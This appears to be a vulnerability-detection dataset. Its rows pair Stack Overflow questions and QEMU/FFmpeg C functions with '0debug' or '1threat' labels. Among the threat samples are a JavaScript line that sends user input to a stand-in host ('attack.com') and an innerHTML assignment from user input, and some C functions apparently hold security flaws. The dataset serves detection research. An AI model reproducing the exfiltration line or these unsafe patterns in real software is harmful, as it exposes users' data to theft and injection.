problem
stringlengths
26
131k
labels
class label
2 classes
how to delete a specific file from specific folder in Ubuntu 16.04 using Terminal : <p>I want to delete a zip file using terminal but i dont know what the command is for that purpose in Ubuntu. </p> <p><strong>fileName</strong>: android-studio-ide-162.3871768-linux.zip <br> <strong>location</strong>: /home/raza/Down...
0debug
Location.back() not working with Angular Tour of Heroes : I noticed that the location.back() is not functioning well on StackBlitz.com for the tour of heroes application. Any idea why this behavior? https://stackblitz.com/angular/qvvrbgrmmda?file=src%2Fapp%2Fhero-detail%2Fhero-detail.component.ts Thanks
0debug
jquery prop method not functioning as expected : I am getting issue with jquery prop method. if i am setting value dynamically, and then disabling the input then the value is hiding. Below is my code: $("#firstName").val("First Name"); $("input").prop("disabled",true); and now clicking edit button and rem...
0debug
Convert a string of integers from input to array of integers in R : I have string of integers from input text box ( in r shiny) like this : input[["var1"]] "1,2,3,4" I want to convert it into a numeric vector like below: values <- c(1,2,3,4) Any help would be highly appreciated. Thanks, Ravijeet
0debug
How to retrieve MongoDb collection validator rules? : <p>On MongoDB 3.4.4 I've created a collection with a validator, but now some inserts fail this rules and I can't understand why. </p> <ol> <li>Is there a way to output the rules of the validor? I'm afraid the rules applied are different from what I think they are.....
0debug
void avformat_close_input(AVFormatContext **ps) { AVFormatContext *s = *ps; AVIOContext *pb = (s->iformat->flags & AVFMT_NOFILE) || (s->flags & AVFMT_FLAG_CUSTOM_IO) ? NULL : s->pb; flush_packet_queue(s); if (s->iformat->read_close) s->iformat->read_close(s); a...
1threat
X264_close(AVCodecContext *avctx) { X264Context *x4 = avctx->priv_data; if(x4->enc) x264_encoder_close(x4->enc); return 0; }
1threat
window.location.href = 'http://attack.com?user=' + user_input;
1threat
static void do_wav_capture(Monitor *mon, const QDict *qdict) { const char *path = qdict_get_str(qdict, "path"); int has_freq = qdict_haskey(qdict, "freq"); int freq = qdict_get_try_int(qdict, "freq", -1); int has_bits = qdict_haskey(qdict, "bits"); int bits = qdict_get_try_int(qdict, "bits", -...
1threat
Add tap gesture to UIStackView : <p>Im attempting to add a <code>UITapGesture</code> to a <code>UIStackView</code> within a collectionView cell but each time I do my app crashes. (All <code>IBOutlets</code> are connected) This there something I'm doing wrong here?</p> <pre><code> let fGuesture = UITapGestureRecognizer...
0debug
Class path contains multiple SLF4J bindings, pls tell me which dependency should I remove from the pom to resolved this problem : <p>In my pom.xml file, I found following dependencies, in my parent pom.xml contain logback-classic dependency and another module contain slf4j-api dependency,</p> <pre><code> &lt;depende...
0debug
Why does golang time function fail on certain dates : <p>I have checked the other suggestions for fixing this problem and they don't work.</p> <p>The current code seems to work until you enter a different date and then I get random failures like below.</p> <p>The code is as follows:</p> <pre><code>yy, mm, dd = 11, 2...
0debug
Java:how to convert list of Songs into stream of Strings : I have a list of songs, which is a class with 3 values: songName, albumName, duration and hash. I have write a function which return a Stream<String> of all the songs ordered by name. My first idea was this: public Stream<String> orderedSongNames() ...
0debug
How to estimate the time headway between two pair of vehicle arrival at a fixed point on road : [Speed and Headway data image file <---- click here so see the image file][1] [1]: https://i.stack.imgur.com/aQnVf.jpg This is a very big headache doing this type of data manipulation in excel. The challenge is ...
0debug
Visual Studio Code: How to show Overloads in IntelliSense? : <p>I am working with the new asp.net core 1.0 framework on Visual Studio Code. </p> <p>My question is, how do I traverse through all the overloads a method might have?</p> <p><a href="https://i.stack.imgur.com/DdFF9.png" rel="noreferrer"><img src="https://i...
0debug
void vring_disable_notification(VirtIODevice *vdev, Vring *vring) { if (!(vdev->guest_features & (1 << VIRTIO_RING_F_EVENT_IDX))) { vring_set_used_flags(vdev, vring, VRING_USED_F_NO_NOTIFY); } }
1threat
How do you hide deprecated warnings in vscode for c++? : <p>I'm using commands such as printf() and scanf() a lot, and its really annoynig to declare in each new program that i want to make.</p> <p>Is there an easy way to just go into the settings, like in the linter or something, and tell vscode to just eat my shorts...
0debug
static int read_var_block_data(ALSDecContext *ctx, ALSBlockData *bd) { ALSSpecificConfig *sconf = &ctx->sconf; AVCodecContext *avctx = ctx->avctx; GetBitContext *gb = &ctx->gb; unsigned int k; unsigned int s[8]; unsigned int sx[8]; unsigned int sub_blocks, log2_sub_blocks, ...
1threat
Recursive function, geometric progression : <p>I've just started learning C++ and I came across a simple problem but couldn't solve. Help me please,</p> <p>In geometric progression, b1=2, r=3. Create recursive function that outputs initial n sequences of progression. n should be input.</p>
0debug
def large_product(nums1, nums2, N): result = sorted([x*y for x in nums1 for y in nums2], reverse=True)[:N] return result
0debug
Django: conditional expression : <p>I have the following models:</p> <pre><code>class Agreement(models.Model): ... organization = models.ForeignKey("Organization") class Signed_Agreement(models.Model): agreement = models.ForeignKey("Agreement") member = models.ForeignKey("Member") </code></pre> <p>Wh...
0debug
Python filter() function and list comparison : <p>I have a list in python like <code>l=('A','1,''B','2','C','3,''D','4')</code> and i need to filter out the value of A,B,C,D so i wrote a code like follow</p> <pre><code>list(filter(lambda x:x.isalpha(),l)) </code></pre> <p>then returned <code>['A', 'C']</code></p> <p...
0debug
def get_Number(n, k): arr = [0] * n; i = 0; odd = 1; while (odd <= n): arr[i] = odd; i += 1; odd += 2; even = 2; while (even <= n): arr[i] = even; i += 1; even += 2; return arr[k - 1];
0debug
How To provide reference to another table from one table by using composite key : <p>Suppose I have one table which has two primary keys(composite key) and I want to provide reference to another table with the help of first table, so what should I do?</p>
0debug
Get local currency in swift : <p>I am setting up an little in app purchase store for muliple countries. How can I figure out that I have to show up the price in Dollar, Euro etc... I think it have to do with the localeIdentifier but I am not sure how to handle this</p>
0debug
Update a filter in a SQL select code : <p>I want to update the a filter in the following code I wrote. I am confused how to put.</p> <p>Code is:</p> <pre><code>$query = "SELECT P.`Building_info` as `name`,P.`Area` as `area`, avg( CASE WHEN P.`Bedroom`='4' ...
0debug
void ff_vc1_mc_4mv_luma(VC1Context *v, int n, int dir, int avg) { MpegEncContext *s = &v->s; uint8_t *srcY; int dxy, mx, my, src_x, src_y; int off; int fieldmv = (v->fcm == ILACE_FRAME) ? v->blk_mv_type[s->block_index[n]] : 0; int v_edge_pos = s->v_edge_pos >> v->field_mode; uint8_t ...
1threat
Cannot make C++ Hello World program, binary not found : I am just starting C++ and downloaded a compiler and an IDE, both eclipse, and tried to make my first C++ program. I use the Hello World C++ Makefile Project, and add the all the stuff on the next page. I then build the program, and the build says this: ***...
0debug
Can SSRS Reports be used without a SQL Server Database? : <p>I have an application that gets all its data from an old AS400 application. </p> <p>I get a model out (what in MVC I'd call a ViewModel) that has all the data for the reports, but the current legacy code is using the windows forms drawing API to place each b...
0debug
How to create local variable that throws exception? Java : <p>I am trying to create a new object in my main class, however, the class the object is referencing throws alot of IOExceptions. I know this is simple, but I just can't figure out the syntax to create this local variable. Please help</p> <pre><code>public s...
0debug
Converting list with multiple data types(both string and integer) to a string in python : <p>I have below list with multiple data types(strings and integers). How do i convert this to a string.</p> <pre><code>sample_list =['a','b',1,'c',2,4,'d'] </code></pre> <p>Below statement is not working.</p> <pre><code>' '.joi...
0debug
XmlHolder VS Grutil.getXmlHolder : when we can create xmlholder instace with its consturctor XmlHolder(String xml) ie. using code def holder= new XmlHolder(context.expand('${Login#request}') why do we use GroovyUtils class to create xmlholder object as mentioned below..is it code performance def groovy...
0debug
void aio_notify(AioContext *ctx) { smp_mb(); if (!ctx->dispatching) { event_notifier_set(&ctx->notifier); } }
1threat
strip out non standard charicters from a defind string output in SQL : I am trying to strip out non standard charicters from a defind string output in SQL, there will be quite a few so i would like to use case rather than replace however i cant get it to work. any sugestions? (first post sorry about the formatting :( ...
0debug
What is the alternate for -webkit-print-color-adjust in firefox and IE : <p>I had some issues with the printing the background colors.</p> <p>print-color-adjust made the background color issue solved in chrome.</p> <pre><code>body{ -webkit-print-color-adjust: exact; } </code></pre> <p>What are the <strong>alternate ...
0debug
C# - How can programm a textbox that add tags into a listbox just like stackoverflow tags are coded? : <p>Everytime I click enter, he deletes the textbox, adds the text of the word into the listbox?</p>
0debug
void do_adde (void) { T2 = T0; T0 += T1 + xer_ca; if (likely(!(T0 < T2 || (xer_ca == 1 && T0 == T2)))) { xer_ca = 0; } else { xer_ca = 1; } }
1threat
void call_pal (CPUState *env, int palcode) { target_ulong ret; if (logfile != NULL) fprintf(logfile, "%s: palcode %02x\n", __func__, palcode); switch (palcode) { case 0x83: if (logfile != NULL) fprintf(logfile, "CALLSYS n " TARGET_FMT_ld "\n", env->ir[0]);...
1threat
def permutation_coefficient(n, k): P = [[0 for i in range(k + 1)] for j in range(n + 1)] for i in range(n + 1): for j in range(min(i, k) + 1): if (j == 0): P[i][j] = 1 else: P[i][j] = P[i - 1][j] + ( j * P[i - 1][j - 1]) if (j < k): P[i][j + 1] = 0 return P[n][k]...
0debug
CSS or JQuerry not working inside javascript : I am working on a website where in header I try to inspire people with a text that is constantly changing with javascript. One of the lines that appear among this text includes a link to the video, which was supposed to be a modal video, but it somehow fails to load proper...
0debug
Cannot remove already declared permissions while app update on Google Play : Your recent app submission was rejected for violating the Permissions policy. Before submitting your app for another review, read through the policy and make sure your app is in compliance. Based on our review, we found your app’s expresse...
0debug
React Native Negative shadowOffset to create top shadow : <p>I am trying to create a bottom navigation bar like YouTube or Instagram have but I am running into issue creating the shadow effect:</p> <p>This is my current code;</p> <pre><code> shadowColor: '#000000', shadowOffset: { width: 0, height: 0 }, ...
0debug
Haskell: Multiple definiton of data : **data Ponto = Cartesiano Double Double | Polar Double Double deriving (Show,Eq)** I'm doing a Work for a class and I have to use the definion above to do a function that calculates the distance of a point to the vertical axis, the coordinates can be as x and y or r and angle usi...
0debug
regular expression for WORDS with space special characters : need regular expression for replace below string into below wrapper format Example: C# Regular expression for combination of space, alpha and special-character. Also for delta out: <span>C# <span>Regular <span>expression <span>for <span>combination <sp...
0debug
void object_property_add_child(Object *obj, const char *name, Object *child, Error **errp) { Error *local_err = NULL; gchar *type; type = g_strdup_printf("child<%s>", object_get_typename(OBJECT(child))); object_property_add(obj, name, type, object_get_child_prope...
1threat
static void pcihotplug_write(void *opaque, uint32_t addr, uint32_t val) { struct pci_status *g = opaque; switch (addr) { case PCI_BASE: g->up = val; break; case PCI_BASE + 4: g->down = val; break; } PIIX4_DPRINTF("pcihotplug wri...
1threat
why does arraylist hold object rather than reference variable, as opposed to array holding reference variable or primitives? : [enter image description here][1]When I'm learning array's knowledge, there are such descriptions saying array holds reference variables(not object itself) or primitives, as opposed to arraylis...
0debug
Error arising when using System.setProperty : System.setProperty is not supported when we click ctrl+space and giving errors multiple markers at this line. System.setProperty is a part of which jar file or where it is present? so that I can access it and use in my program. System.setProperty("webdriver.chrome.d...
0debug
This copy of libswiftCore.dylib requires an OS version prior to 12.2.0 : <p>The app crashes on launch when running from XCode 10.2 (before and after Swift 5.0 migration) with this on console</p> <blockquote> <p>This copy of libswiftCore.dylib requires an OS version prior to 12.2.0.</p> </blockquote> <p>I understa...
0debug
Python:how random numbers are assigned to a list of arrary : List[] For i in range(6) Num=random.randit(1,6) List.append(num) Print(list) Is giving output in pattern: [2] [4 ,6] ETC. but i want output in a single list.like [5,5,3,5,2,1]
0debug
int ff_h264_decode_sei(H264Context *h){ while (get_bits_left(&h->gb) > 16) { int size, type; type=0; do{ if (get_bits_left(&h->gb) < 8) return AVERROR_INVALIDDATA; type+= show_bits(&h->gb, 8); }while(get_bits(&h->gb, 8) == 255); ...
1threat
static FWCfgState *bochs_bios_init(AddressSpace *as, PCMachineState *pcms) { FWCfgState *fw_cfg; uint64_t *numa_fw_cfg; int i; const CPUArchIdList *cpus; MachineClass *mc = MACHINE_GET_CLASS(pcms); fw_cfg = fw_cfg_init_io_dma(FW_CFG_IO_BASE, FW_CFG_IO_BASE + 4, as); fw_cfg_add_i16(...
1threat
What's wrong with my code? Swift 3 sprite kit signal sigabbt : <p>I have a game with 4 button's at the bottom of the screen. It's work. But if I touch everywhere on the screen besides the buttons, the game crash down with messages Signal Sigabrt... Please can somebody help me?<a href="https://i.stack.imgur.com/q3hzf.pn...
0debug
How to alter the path for Postgres looking for extensions? : <p>I installed Postgres on a Windows machine, downloaded the binary installer for PostGIS and installed it. I only have one version of Postgres, so there is no messing up possible. </p> <p>Installing PostGIS using the binary installer is straight forward and...
0debug
can only concatenate str (not 'int') to str : <p>I want to make a simple addition program but get stuck at an error stating the following: TypeError: can only concatenate str (not 'int') to str.</p> <p>I have no idea what to do, I am pretty new to Python coding.</p> <pre><code>def addition(): x = int(input("Pleas...
0debug
string are splitted in 'list()' and not in '[]' why? in python : <br> I have been working in a project then I accidently discovered when I pass string,they are splitted in 'list()' but when I pass same string to '[ ]' there is not splitting into single letters of string can anyone tell what happend here..<br> ...
0debug
How to wait for a stream to finish piping? (Nodejs) : <p>I have a for loop array of promises, so I used Promise.all to go through them and called then afterwards.</p> <pre><code>let promises = []; promises.push(promise1); promises.push(promise2); promises.push(promise3); Promise.all(promises).then((responses) =&gt; {...
0debug
How do I prevent StyleCop warning of a Hungarian notation when prefix is valid : <p>I have the following code:</p> <pre><code>var fxRate = new FxRate(); </code></pre> <p>which is giving me the following <a href="https://github.com/StyleCop/StyleCop.ReSharper" rel="noreferrer">StyleCop ReSharper</a> warning:</p> <blo...
0debug
Not able to print with two decimals : <p>I am solving a problem in hackerrank , and i cannot print a output with two decimal places.</p> <p>I have tried round(number,2) and -</p> <pre><code>avg=(toavg[0]+toavg[1]+toavg[2])/3 print(float("{0:.2f}".format((toavg[0]+toavg[1]+toavg[2])/3))) </code></pre> <p>I am using p...
0debug
static void v9fs_create(void *opaque) { int32_t fid; int err = 0; size_t offset = 7; V9fsFidState *fidp; V9fsQID qid; int32_t perm; int8_t mode; V9fsPath path; struct stat stbuf; V9fsString name; V9fsString extension; int iounit; V9fsPDU *pdu = opaque; ...
1threat
-- counting occurences between dates of different date intervals : to simplify I have a query (MYSQL DB) that give me a table like this Person | Date_IN | Date_OUT | Structure During a year a person ENTER and EXIT many times, ENTER and EXIT could be also the same day. I'd like to count, for a specific day of yea...
0debug
int ff_msmpeg4_pred_dc(MpegEncContext *s, int n, int16_t **dc_val_ptr, int *dir_ptr) { int a, b, c, wrap, pred, scale; int16_t *dc_val; if (n < 4) { scale = s->y_dc_scale; } else { scale = s->c_dc_scale; } wrap = s->block_wrap[n]; d...
1threat
Basic for loop summation in ruby : I'm new to ruby. What's wrong with this thought process when trying to sum the array values? I know there are other ways to do this like using reduce or even sum but am I not just adding the next value to 'sum' every iteration? def addArray(array) for i in array do ...
0debug
static void test_qemu_strtoull_correct(void) { const char *str = "12345 foo"; char f = 'X'; const char *endptr = &f; uint64_t res = 999; int err; err = qemu_strtoull(str, &endptr, 0, &res); g_assert_cmpint(err, ==, 0); g_assert_cmpint(res, ==, 12345); g_assert(endptr ==...
1threat
Can we make custom filters in angularjs? : <p>I know there are some filters available in angularjs like <code>**currency**</code>, <code>**number**</code>. </p> <pre><code>{{ value | currency }} </code></pre> <p>Is there any filter available for Phone number formatting?</p> <p>And can I make my own filter?</p> <pre...
0debug
Disable "Break Mode" page in VS2015 : <p>Recently migrated from VS2010 to 2015. Now when I pause a running app to work on it, I get this very annoying "Break Mode" page with "The application is in break mode". Well, no shoot Sherlock, I pressed pause. I know its in break mode. The page is annoying and takes me away...
0debug
static void tcp_chr_connect(void *opaque) { CharDriverState *chr = opaque; TCPCharDriver *s = chr->opaque; struct sockaddr_storage ss, ps; socklen_t ss_len = sizeof(ss), ps_len = sizeof(ps); memset(&ss, 0, ss_len); if (getsockname(s->fd, (struct sockaddr *) &ss, &ss_len) != 0) { ...
1threat
difference between freestyle project and pipeline in jenkins : <p>I'm a little confused about Freestyle project and pipeline in jenkins when trying to create new items.</p> <p>When should I create item with Freestyle project? And in which case should I use pipeline?</p> <p>Do I need to store config.xml into code repo...
0debug
static void usbnet_receive(void *opaque, const uint8_t *buf, size_t size) { USBNetState *s = opaque; struct rndis_packet_msg_type *msg; if (s->rndis) { msg = (struct rndis_packet_msg_type *) s->in_buf; if (!s->rndis_state == RNDIS_DATA_INITIALIZED) return; if (s...
1threat
int ff_xvid_rate_control_init(MpegEncContext *s){ char *tmp_name; int fd, i; xvid_plg_create_t xvid_plg_create; xvid_plugin_2pass2_t xvid_2pass2; fd=av_tempfile("xvidrc.", &tmp_name, 0, s->avctx); if (fd == -1) { av_log(NULL, AV_LOG_ERROR, "Can't create temporary pass2 file....
1threat
I'm trying to get the data from current excel file to another excel file using VBA but not working : I have a requirement where im doing copying and pasting data from current excel file to destination excel file. Below is the sample code; Sub ImportCSV() Dim strSourcePath As String Dim strDestPath ...
0debug
Android Fingerprints: hasEnrolledFingerprints triggers exception on some Samsungs : <p>I'm seeing a lot of exceptions in our production app when enabling fingerprints coming from Android 6 users, which I cannot reproduce on any of my local Samsung devices. The stacktrace is:</p> <pre><code>Message: SecurityException: ...
0debug
Axios get in url works but with second parameter as object it doesn't : <p>I'm trying to send GET request as second parameter but it doesn't work while it does as url.</p> <p>This works, $_GET['naam'] returns test:</p> <pre><code>export function saveScore(naam, score) { return function (dispatch) { axios.get('...
0debug
Replacing word except when it is between letters : <p>For example I would like to change every "hi" to hello The problem is when I try to do it I get into some kind of problems. It translates other words badly like: from "his dog is nice" to "hellos dog is nice" How can I fix it (I am using php)</p>
0debug
Run remote php script from terminal : <p>how would I go about running a script @ <code>http://www.domain.com/php/script.php/</code> from my terminal window. Also, I would need to pass a variable, <code>$var1 = "string"</code>. How would I do this?</p>
0debug
WHY DO I GET 'RETURN' OUTSIDE FUNCTION on the line 6? : def getContinue(): response = input('Do you want to continue (y:n): ') while response not in ('y', 'n', 'Y', 'N'): response = input('Do you want to continue (y:n): ') if response in ('y', 'Y'): return 'y' else: return 'n' Write a Python ...
0debug
i have to take integers in an array and output them in random order : this is the output i need Input Array: 1 2 3 4 5 6 7 Random Output: 7 2 3 6 1 5 4 this is what get Input size of the Array 5 Input Value 1 1 Input Value 2 2 Input Value 3 3 Input Value 4 4 Input Value 5 5 Random Output: 2 Random O...
0debug
static av_always_inline int mvd_decode(HEVCContext *s) { int ret = 2; int k = 1; while (k < CABAC_MAX_BIN && get_cabac_bypass(&s->HEVClc->cc)) { ret += 1 << k; k++; } if (k == CABAC_MAX_BIN) av_log(s->avctx, AV_LOG_ERROR, "CABAC_MAX_BIN : %d\n", k); while (k--...
1threat
Failed to resolve dependency in Gradle : <p>I am facing issue with gradel for the liberary </p> <pre><code>implementation 'com.android.support:appcompat-v7:27.1.1' </code></pre> <blockquote> <p>All com.android.support libraries must use the exact same version specification (mixing versions can lead to runtime crash...
0debug
J query height and java script height gets 0 . Why? : I have a visible div on screen but when i gets its height, it returns always 0. How it is possible? I have tried many j query and JavaScript methods to get hight but it returns 0. This is my div: <div class="option-content"> <div class="row"> ...
0debug
How to Log object? : <p>I can see that Log facade is very useful. In the docs of laravel:</p> <blockquote> <p>The logger provides the eight logging levels defined in RFC 5424: emergency, alert, critical, error, warning, notice, info and debug.</p> </blockquote> <p>But, how would I log an instance of a model? like...
0debug
How do you use confirm dialogues in a custom Laravel Nova tool? : <p>Is it possible to use the built in Laravel Nova confirm dialogue in your own tool? All I would like to use is interact with it how Nova does itself.</p> <p>The docs are quite light on the JS topic, as the only built in UI you seem to be able to work ...
0debug
Undefined behavior of right-shift in C++ : <p>From cppreference.com:</p> <blockquote> <p>For unsigned a and for signed a with nonnegative values, the value of a >> b is the integer part of a/2<sup>b</sup> . For negative a, the value of a >> b is implementation-defined (in most implementations, this performs ar...
0debug
Could not load file or assembly 'System.ComponentModel.Annotations, Version=4.1.0.0 : <p>I have a .NET Standard 1.4 class library that references the System.ComponentModel.Annotations (4.3.0) NuGet package.</p> <p>I'm then referencing this class library from a .NET Framework 4.6.2 test project. It builds fine, but at ...
0debug
static void tcg_out_andi64(TCGContext *s, TCGReg dst, TCGReg src, uint64_t c) { int mb, me; assert(TCG_TARGET_REG_BITS == 64); if (mask64_operand(c, &mb, &me)) { if (mb == 0) { tcg_out_rld(s, RLDICR, dst, src, 0, me); } else { tcg_out_rld(s, RLDICL, dst, src...
1threat
int qemu_strtol(const char *nptr, const char **endptr, int base, long *result) { char *p; int err = 0; if (!nptr) { if (endptr) { *endptr = nptr; } err = -EINVAL; } else { errno = 0; *result = strtol(nptr, &p, base); ...
1threat
int scsi_build_sense(uint8_t *in_buf, int in_len, uint8_t *buf, int len, bool fixed) { bool fixed_in; SCSISense sense; if (!fixed && len < 8) { return 0; } if (in_len == 0) { sense.key = NO_SENSE; sense.asc = 0; sense.ascq = 0; }...
1threat
variable is undefined in else statement : <p>I am confused as to why I am getting an 'undefined' error in my code. I am trying to delete an id from an array using the variable of 'id', but it errors with 'undefined'. I have tried various options of moving the 'var id;' but still I get the error. I have marked in the co...
0debug
Load a Select from Radio in Flask/Python using Javascipt / jQuery : I'm trying to **load a input select control when the user select a radio option** in the form. The fields are built with flask-wtf, and populated dinamically in the view *(no problem with that)*: class FormRecord(Form): type = RadioF...
0debug
static void tcg_out_insn_3405(TCGContext *s, AArch64Insn insn, TCGType ext, TCGReg rd, uint16_t half, unsigned shift) { assert((shift & ~0x30) == 0); tcg_out32(s, insn | ext << 31 | shift << (21 - 4) | half << 5 | rd); }
1threat
Arrays being re-assigned (Python) : <p>I'm recreating Conway's game of life in pygame, and I've been having an issue implementing the preset feature. When I'm assigning the preset array to the default array, and then assigning it back to the default array again, the preset is changed. I'm only editing the array "Initia...
0debug
static int interp(RA144Context *ractx, int16_t *out, int block_num, int copyold, int energy) { int work[10]; int a = block_num + 1; int b = NBLOCKS - a; int x; for (x=0; x<30; x++) out[x] = (a * ractx->lpc_coef[0][x] + b * ractx->lpc_coef[1][x])>> 2; ...
1threat
static void mmu6xx_dump_mmu(FILE *f, fprintf_function cpu_fprintf, CPUPPCState *env) { ppc6xx_tlb_t *tlb; target_ulong sr; int type, way, entry, i; cpu_fprintf(f, "HTAB base = 0x%"HWADDR_PRIx"\n", env->htab_base); cpu_fprintf(f, "HTAB mask = 0x%"HWADDR_PRIx"\n", ...
1threat
I have used the simpleblobdetector method and i have got two blobs. But now i want to find the x and y points of each blob for angle detection. : for (std::vector<cv::KeyPoint>::iterator blobIterator = keypoints.begin(); blobIterator != keypoints.end(); blobIterator++){ std::cout << "size of blob is: " << blobIterat...
0debug
def max_length_list(input_list): max_length = max(len(x) for x in input_list ) max_list = max(input_list, key = lambda i: len(i)) return(max_length, max_list)
0debug
What is the difference between cpan and cpanm? : <p>What is the difference between the <code>cpan</code> and <code>cpanm</code> commands?</p> <p>They both seem to install <code>perl</code> modules, so what is the difference?</p>
0debug
How do I manually send a password reset request in Laravel 5.2? : <p>I would like to manually send a password reset request to a specific user (not the one currently logged in) from within a controller. I did some digging around in the Laravel code and it seems like I should be calling <code>postEmail(Request $request)...
0debug
int escc_init(target_phys_addr_t base, qemu_irq irqA, qemu_irq irqB, CharDriverState *chrA, CharDriverState *chrB, int clock, int it_shift) { DeviceState *dev; SysBusDevice *s; SerialState *d; dev = qdev_create(NULL, "escc"); qdev_prop_set_uint32(dev, "disabled"...
1threat
document.getElementById('input').innerHTML = user_input;
1threat
Python: IndexError: list index out of range - itens = [{}] : <p>I know it may seem like a simple question, but I really could not figure it out ...<br />How to solve?<br /><br />&gt;&gt;&gt; itens = [{}]<br />&gt;&gt;&gt; i = 0<br />&gt;&gt;&gt; itens[i]['vendedor'] = 1<br />&gt;&gt;&gt; i = 1<br />&gt;&gt;&gt; itens[i...
0debug